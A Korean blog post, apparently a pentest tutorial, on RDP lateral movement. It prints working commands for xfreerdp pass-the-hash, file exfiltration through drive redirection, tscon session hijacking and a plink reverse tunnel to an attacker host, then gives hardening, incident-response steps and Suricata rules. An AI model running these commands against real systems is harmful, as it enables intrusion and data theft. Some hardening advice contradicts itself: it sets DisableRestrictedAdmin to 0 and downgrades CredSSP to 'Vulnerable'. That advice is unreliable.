Vulnerability Deep Dive #2: RDP Pass-the-Hash via Restricted Admin

  • 연관 식별자: MITRE T1550.002 (Pass the Hash)
  • 발생 원인 (Root Cause): 마이크로소프트는 관리자의 평문 크레덴셜이 감염된 서버에 남는 것을 방지하기 위해 Restricted Admin Mode를 도입함. 하지만 이 모드는 연결을 수립할 때 대상 서버가 클라이언트의 NTLM 해시만으로 인증을 승인하도록 허용하는 역효과(By-design 결함)를 낳음. 결과적으로 해커가 메모리에서 탈취한 해시(Hash)만 xfreerdp 플래그(/pth:)에 태우면 GUI 데스크톱이 즉각 열려버림.
  • 공격 성립 조건: 타겟 레지스트리에 DisableRestrictedAdmin 값이 0(활성화)으로 세팅되어 있어야 하며, 공격자가 로컬 관리자 권한 이상의 NTLM 해시를 보유해야 함.
  • 파급력 (Impact): 침투 테스터나 해커에게 터미널 쉘(CMD)이 아닌, 직관적인 마우스 클릭과 브라우저 제어가 가능한 완전한 그래픽 환경을 통째로 내어줌.

7-2. 킬체인 전개 스텝 분석

  • 난이도: 중급 (xfreerdp 고급 활용 및 메모리 덤프 기술 요구)
  • 전제: 공격자는 이미 사내망의 직원 PC 1대를 장악하여 로컬 관리자 권한(SYSTEM)을 획득했고, 미미카츠를 통해 NTLM 해시를 확보한 상태임.
  • 탐지 가능성: Medium (RDP 접근 자체는 Event 4624 Type 10으로 기록되나, 평문 패스워드 접속인지 해시 기반 우회(PtH) 접속인지 구별하기 위해서는 인증 패키지의 세부 협상 로그를 딥 분석해야 함).
Phase 1 — RDP 인프라 정찰 및 NLA 식별 (Reconnaissance)

📖 Phase 1에서 배우는 것: 무작정 3389 포트에 스캐너를 돌리지 않고, Nmap을 통해 타겟의 RDP 배너와 NLA(네트워크 수준 인증) 설정 여부를 정확히 핑거프린팅하여 타격 가능성을 가늠함.

# 1. 대상 서브넷의 3389 포트 활성화 및 rdp-enum-encryption 스크립트 기반 NLA 상태 스캐닝
nmap -p 3389 --script rdp-enum-encryption 10.0.0.100

# 2. 결과 분석: 스크린에 [CredSSP: true] 가 뜨면 NLA가 켜져 있어 BlueKeep 등 Pre-auth RCE 공격이 차단됨을 식별함.
Phase 2 — 자격증명 타격 (RDP Pass-the-Hash 횡적 이동)

📖 Phase 2에서 배우는 것: 확보된 해시값을 xfreerdp 도구의 /pth 옵션과 융합하여, 복잡한 인증 절차를 건너뛰고 타겟 윈도우 서버의 관리자 데스크톱 화면을 내 모니터로 띄움.

# 1. xfreerdp를 활용하여 Restricted Admin 모드를 강제 활성화하고 덤프한 해시값을 주입하여 세션 수립 요청
xfreerdp /v:10.0.0.100 /u:Administrator /pth:88e4d9faba6980a1ddc51... /cert:ignore +restricted-admin

# 2. 결과 검증: 비밀번호 입력 프롬프트 없이 즉각적으로 Windows Server 2019의 바탕화면 GUI 창이 렌더링되며 통제권이 100% 이양됨.
Phase 3 — 포스트 익스플로잇 및 자원 리다이렉션 악용 (Post-Exploitation)

📖 Phase 3에서 배우는 것: 획득한 RDP 세션 내부에서, /drive 마운트 기능을 역으로 찔러 넣어 타겟 서버의 기밀 파일을 공격자의 로컬 디스크로 스텔스하게 유출(Exfiltration)시킴.

# 1. RDP 세션 연결 시 공격자 리눅스의 /tmp 디렉터리를 가상 공유 드라이브(loot)로 맵핑함
xfreerdp /v:10.0.0.100 /u:Administrator /p:Pass123! /drive:loot,/tmp/exfil /cert:ignore

# 2. 타겟 GUI 화면에서 윈도우 탐색기를 열고, '내 PC' 하단의 '\\tsclient\loot' 드라이브로 고객 DB 엑셀 파일을 드래그 앤 드롭함 (통신 암호화 채널을 타므로 NIDS 파일 탐지 우회됨).

8. ⚔️ 실전 심화 시나리오 — 학습용 실습 (Lab Scenarios)

📘 Scenario A: RDP Hijacking (Session 가로채기) 악용을 통한 시스템 권한 복제

  • 학습 목표: 해커가 낮은 권한(일반 유저)의 RDP 세션으로 들어왔으나, SYSTEM 권한 상승(PrivEsc) 성공 직후 동일 서버에 백그라운드로 띄워져 있던 도메인 관리자의 세션을 화면째 무단 가로채는 충격적인 킬체인을 구현함.
  • 전제 조건: 타겟 서버(10.0.0.100)에 도메인 관리자가 업무를 마친 후 '로그아웃'이 아닌 '창 닫기(Disconnect)' 상태로 세션을 방치해둔 상태임.
# [Step 1: 해커가 타겟 서버 내에서 SYSTEM 쉘을 획득한 후, 현재 연결이 끊어져 메모리에 상주 중인 세션 리스트를 조회함]
query user

# [Step 2: 관리자(Administrator)의 세션 ID가 '2'임을 확인하고, tscon 유틸리티를 사용하여 내 현재 세션(예: 1) 버리고 관리자 화면으로 강제 전환시킴]
tscon 2 /dest:rdp-tcp#1

# [Step 3: 동작 원리 및 결과 검증]
# SYSTEM 권한의 프로세스가 `tscon.exe`를 호출하면 윈도우 커널은 별도의 암호 입력 프롬프트 검증 없이 해당 세션 화면 통제권을 해커의 터미널 렌더링 채널로 강제 포워딩(포트 스위칭) 해버림.
# 결과적으로 해커 모니터에 열려 있던 AD 관리 도구 및 서버 매니저 콘솔 화면이 고스란히 양도됨.
# [결과 분석 및 방어 인사이트 도출]
# 세션을 닫기만 하고 로그오프하지 않는 관리자의 안일한 관행이 세션 하이재킹의 직격탄이 됨.
# → 방어책: GPO(그룹 정책)에서 `연결이 끊어진 세션에 대한 시간 제한 설정`을 15분으로 강제하여 방치된 유령 세션을 시스템이 자동 파기(Kill)하도록 아키텍처를 교정해야 함.

📘 Scenario B: 방화벽을 우회하는 리버스 RDP (Reverse RDP Tunneling) 은닉

  • 학습 목표: 타겟 서버의 OPNsense 방화벽 인바운드 정책이 3389를 완벽히 막고 있을 때, 타겟 서버 내부에서 외부 공격자 PC로 SSH 리버스 터널을 뚫고 그 터널 안으로 RDP 통신을 태워 보내는 망분리 우회 통로를 개척함.
# [Step 1: 외부 공격자 PC(10.0.0.50)에서 임의의 SSH 서버 데몬을 열고 터널 대기함]

# [Step 2: 타겟 내부 윈도우 서버(10.0.0.100)에서 PuTTY(plink.exe)를 악용하여 외부망으로 나가는 리버스 터널을 생성, 윈도우 로컬 3389 포트를 해커 PC의 13389 포트로 연결 포워딩함]
plink.exe -R 13389:127.0.0.1:3389 attacker@10.0.0.50 -pw password123 -N

# [Step 3: 공격자는 자신의 로컬호스트(10.0.0.50)에서 13389 포트로 xfreerdp 접속을 시도함]
xfreerdp /v:127.0.0.1:13389 /u:admin /p:Pass123!
# 방화벽은 내부망 서버가 "단순 텍스트 웹 통신(SSH) 아웃바운드를 요청"한 것으로 오인하여 아무런 제동 없이 RDP 캡슐 통신을 허가함.

9. 🩹 트러블슈팅 및 장애 대응 실무 (RCA)

에러 로그 증상 (Symptom) 장애 발생 원인 분석 (Root Cause) 실무 해결책 및 조치 방안 (Resolution)
ERRCONNECT_SECURITY_NEGO_CONNECT_FAILED 클라이언트와 서버 간의 TLS 버전(TLS 1.2 vs 1.0) 또는 암호화 Cipher Suite 협상이 완벽히 어긋나 보안 연결이 붕괴됨. 클라이언트 측에서 xfreerdp /sec:tls 또는 /sec:nla 강제 지정 플래그를 변경하며 호환성을 테스트하고, 서버의 IIS Crypto 도구로 TLS 1.2/1.3 프로토콜 스택을 활성화함.
CredSSP encryption oracle remediation CVE-2018-0886 취약점 패치 이후, 업데이트가 안 된 클라이언트가 업데이트 완료된 서버에 붙으려 할 때 CredSSP 신뢰 검증 로직이 물리적으로 충돌 차단됨. 공격/관제 머신(클라이언트)과 타겟 윈도우 서버 모두 WSUS 최신 롤업 패치를 적용하거나 임시방편으로 로컬 GPO에서 'Oracle 수정' 설정을 '취약(Vulnerable)'으로 하향 세팅해야 통과됨.
CERTIFICATE_VERIFY_FAILED 타겟 서버가 사용하는 RDP 인증서가 자체 서명(Self-signed)되어 있어, 리눅스 클라이언트의 Root CA 체인 신뢰 검증 절차에서 블락 처리됨. xfreerdp 실행 명령어 끝부분에 /cert:ignore 옵션을 명시적으로 추가하여 서명 무결성 검증 단계를 강제로 건너뛰고 접속을 유도함.
Black Screen on Logon (검은 화면 멈춤) RDP 연결 및 인증은 성공했으나, 서버 측 메모리 부족(Desktop Heap 고갈) 또는 디스플레이 그래픽 드라이버 충돌로 렌더링 프레임을 전송하지 못함. /bpp:16 플래그로 색상 심도를 낮추거나 /audio-mode:1 옵션으로 소리 동기화를 꺼서 트래픽 오버헤드를 억제한 뒤, 서버 리부팅을 통해 WDDM 드라이버를 초기화함.

10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링 실무 (Blue Team Focus)

10-1. MITRE D3FEND 프레임워크 매핑

방어 전술 (Tactic) 방어 기법 세부 항목 (Technique) 차단 원리 및 보안 메커니즘 상세 설명 ID (Code)
Harden Application Configuration Hardening GPO를 통해 NLA(네트워크 수준 인증) 강제 및 클립보드/로컬 드라이브 리다이렉션을 물리적으로 잠궈 데이터 유출 벡터를 차단함 D3-ACH
Isolate Network Traffic Filtering OPNsense 방화벽 인바운드 룰에서 VPN 망 또는 IP 화이트리스트가 아닌 모든 외부 소스의 TCP/UDP 3389 트래픽을 Drop 폐기함 D3-NTF
Detect Authentication Log Analysis Graylog SIEM에서 Windows Event ID 4624(Type 10), 4625, 4778을 코릴레이션하여 심야 시간 비정상 RDP 세션 생성/가로채기 아노말리를 실시간 헌팅함 D3-ALA

10-2. 온프레미스 인프라 하드닝 및 시큐어 코딩 기준

  • 인프라 라우팅 및 캡슐화 레이어 (L3/L4/L7):
    1. 외부 노출 절대 금지: 포트포워딩(NAT)을 통한 3389 직접 개방은 인프라 자살 행위임. 반드시 IPsec VPN 터널을 뚫고 들어온 대역이거나 원격 데스크톱 게이트웨이(RDG - TCP 443)를 경유하도록 아키텍처를 강제해야 함.
    2. Account Lockout 적용: AD 도메인 정책에 패스워드 5회 실패 시 30분간 계정 잠금을 설정하여 RDP 포트를 향한 딕셔너리 스터핑 공격이 유효타를 낼 수 없도록 물리적 시간을 지연시킴.
  • OS 권한 및 데몬 샌드박스 레이어 (L7):
    1. 관리자 그룹 분리: RDP 접속 권한을 도메인 어드민이 아닌, 'Remote Desktop Users' 전용 보안 그룹을 생성하여 명시된 작업자 계정만 추가하고 최소 권한(Least Privilege)을 인포싱함.
    2. 레지스트리 보안 튜닝: HKLM\SYSTEM\CurrentControlSet\Control\Lsa의 DisableRestrictedAdmin 값을 0으로 켜 PtH 취약점의 양날의 검을 다루되, LAPS와 병행하여 로컬 관리자 비밀번호 재사용을 물리적으로 끊어버림.

10-3. IaC 기반 자동화 보안 설정 마스터 템플릿

# PowerShell DSC (Desired State Configuration) 예시: 타겟 AD 멤버 서버의 RDP 보안 통제 룰셋 일괄 주입
Configuration SecureRDPHardening
{
    Node "TargetServer01"
    {
        Registry DisableClipboard
        {
            Ensure      = "Present"
            Key         = "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"
            ValueName   = "fDisableClip"
            ValueData   = "1"
            ValueType   = "Dword"
        }
        Registry RequireNLA
        {
            Ensure      = "Present"
            Key         = "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
            ValueName   = "UserAuthentication"
            ValueData   = "1"
            ValueType   = "Dword"
        }
        WindowsFeature RDS-Gateway
        {
            Ensure      = "Present" # 향후 3389 직접 접근 금지 대비 프록시 역할 준비
            Name        = "RDS-Gateway"
        }
    }
}

10-4. 침해 인시던트 대응 절차 (IR Playbook)

대응 단계 실무 대응 행동 강령 인프라 담당 역할 헌팅 소요 시간
1. 탐지 Graylog SIEM에서 심야 시간대 Event ID 4624 (Logon Type 10) 성공 로그 및 4778 세션 하이재킹 의심 알람이 최초 인입됨을 인지함 SOC Analyst T+0
2. 격리 OPNsense 게이트웨이 및 내부 스위치단에서 해당 타겟 서버(10.0.0.100)의 3389 트래픽을 아웃바운드/인바운드 전면 Drop 하드 차단하여 추가 횡단 이동을 절단함 IR Team T+10분
3. 증거 수집 quser 명령으로 실행 중인 유령 세션을 식별하고, tasklist /v로 해당 세션에 물려있는 랜섬웨어/비컨 프로세스 메모리 덤프를 포렌식 보존함 Forensic Analyst T+30분
4. 원인 분석 침해 IP가 VPN 대역인지 확인하고, 인증 패키지가 NTLM 우회(PtH)인지 합법적 Kerberos 티켓인지 트랜잭션 킬체인을 정밀 역추적 분석함 IR Team T+2시간
5. 인프라 복구 강제 오픈된 fDenyTSConnections 레지스트리를 1로 닫아버리고, 탈취 의심 도메인 계정 패스워드 리셋 및 로컬 세션 타임아웃 GPO 적용 후 서버 가동함 SysAdmin T+4시간

10-5. 엔터프라이즈 위협 헌팅 탐지 룰셋 (Suricata NIDS)

# 외부망 혹은 비인가 서브넷에서 유입되는 BlueKeep (CVE-2019-0708) 커널 RCE 트리거 페이로드 스니핑 차단 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET 3389 (msg:"ET EXPLOIT Possible BlueKeep CVE-2019-0708 MS_T120 Channel Bind Attempt"; flow:established,to_server; content:"|03 00 00|"; depth:3; content:"|e0|"; offset:5; depth:1; content:"MS_T120"; nocase; classtype:attempted-admin; sid:2027390; rev:1;)

# 짧은 시간 내에 RDP 커넥션 초기화 시도가 폭주하는 딕셔너리 무차별 대입 헌팅 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET 3389 (msg:"ET SCAN Behavioral Unusually fast RDP Connections (Brute-Force)"; flow:to_server; flags:S; threshold:type both, track by_src, count 20, seconds 60; classtype:attempted-recon; sid:2019020; rev:2;)

11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)

  • Microsoft 공식 RDP 아키텍처 및 커널 통신 프로토콜 코어 명세서 (MS-RDPBCGR): https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr
  • FreeRDP 공식 오픈소스 프로젝트 Github 레포지토리 및 옵션 매뉴얼: https://github.com/FreeRDP/FreeRDP
  • NVD (National Vulnerability Database) BlueKeep 백도어 공식 취약점 분석 문서: https://nvd.nist.gov/vuln/detail/CVE-2019-0708
  • MITRE ATT&CK RDP 횡적 이동 (Lateral Movement) 심층 전술 분석: https://attack.mitre.org/techniques/T1021/001/
  • CISA 국가 주요 보안 랜섬웨어 대비 RDP 하드닝 및 포트 통제 가이드라인: https://www.cisa.gov/

12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)

🎓 이 포스팅에서 배운 보안 엔지니어링 관점

  • 공격 관점의 통찰: RDP는 커맨드라인 쉘(CLI)의 한계를 넘어 서버의 시각적 통제권을 해커에게 100% 쥐여주는 가장 직관적이고 파괴적인 횡적 이동 터미널임. xfreerdp의 강력한 /pth, /drive 파라미터는 복잡한 크래킹 없이 해시 한 줄만으로 타겟망 인증을 분쇄하고 파일 유출(Exfiltration) 터널을 합법적으로 뚫어내는 무기체계임을 완벽히 입증함.
  • 방어 관점의 통찰: "편리한 서버 원격 관리"라는 명목하에 인터넷에 노출된 3389 포트는 봇넷 스캐너의 영구적인 과녁임. NLA 강제 활성화를 통한 Pre-auth 킬체인 단절, 클립보드 및 드라이브 매핑 차단을 통한 데이터 역주행 방지, 그리고 VPN 기반 망분리 캡슐화가 인프라 아키텍처 생존을 위한 필수불가결한 제로 트러스트(Zero Trust) 조치임을 체득함.
  • 다음 단계의 실무 과제: 허가된 로컬 가상 온프레미스(VMware) 환경에 취약한 윈도우 서버를 배치하고, Kali 클라이언트에서 xfreerdp 플래그 조작을 통한 PtH 및 세션 하이재킹 공방 테스트를 수행하며, Graylog SIEM 4624/4778 이벤트 로그 코릴레이션 헌팅 파이프라인을 직접 연동하여 횡적 이동 방어 감각을 극한으로 숙달함.

🔰 인프라 엔지니어링 방어 철학

(✏️ Architected by Elpam.k)
"수백억짜리 차세대 방화벽(NGFW)을 뚫는 것은 첨단 제로데이가 아니라, 룰셋 구석에 방치된 외부망 Any-To-3389 허용 정책 한 줄임." 네트워크 설계 시 단순히 포트를 여닫는 L4 중심의 사고에서 벗어나, RDP 패킷 내부의 가상 채널(클립보드, 드라이브)이 어떻게 로컬과 원격의 경계를 허무는지 L7 아키텍처 깊이까지 꿰뚫어보는 시야가 필수적임. 따라서 인프라 엔지니어는 관리의 편의성에 결코 타협하지 않고, RDP 직접 접근을 폐기하며 RDP Gateway나 IPsec VPN으로 터널을 우회 강제하는 '종심 방어(Defense in Depth)' 전략을 고수해야 함. 나아가 윈도우 커널 단의 NLA 정책 및 LAPS 비밀번호 로테이션 정책을 GPO로 가장 보수적이고 엄격하게 인포싱하여, 해커의 패스-더-해시(PtH) 기동로를 물리적으로 절단해야 함.

💡 Related Posts

  • 👉 [OPNsense 방화벽 기반 온프레미스 망분리 L7 포트 통제 최적화 가이드]
  • 👉 [Windows Active Directory 환경의 LAPS 구축 및 NTLM PtH 방어 아키텍처]
  • 👉 [Suricata NIDS 연동을 통한 RDP 딕셔너리 어택 및 BlueKeep 이상 탐지 실무]

오류·추가 질문은 댓글로 남겨 주시면 확인함.

🔖 Tistory Tags: #RDP #xfreerdp #인프라보안 #모의해킹 #BlueKeep #망분리 #DFIR #OPNsense

Architected by Elpam.k

저작자표시 비영리 동일조건 (새창열림)

'인프라 > 네트워크' 카테고리의 다른 글

SSH(Secure Shell)  (0) 2026.04.07
SMB  (0) 2026.04.07
FTP  (0) 2026.04.07
nslookup (DNS 질의)  (0) 2026.04.07
ICMP 및 Ping  (0) 2026.04.07

Discussion 0

티스토리툴바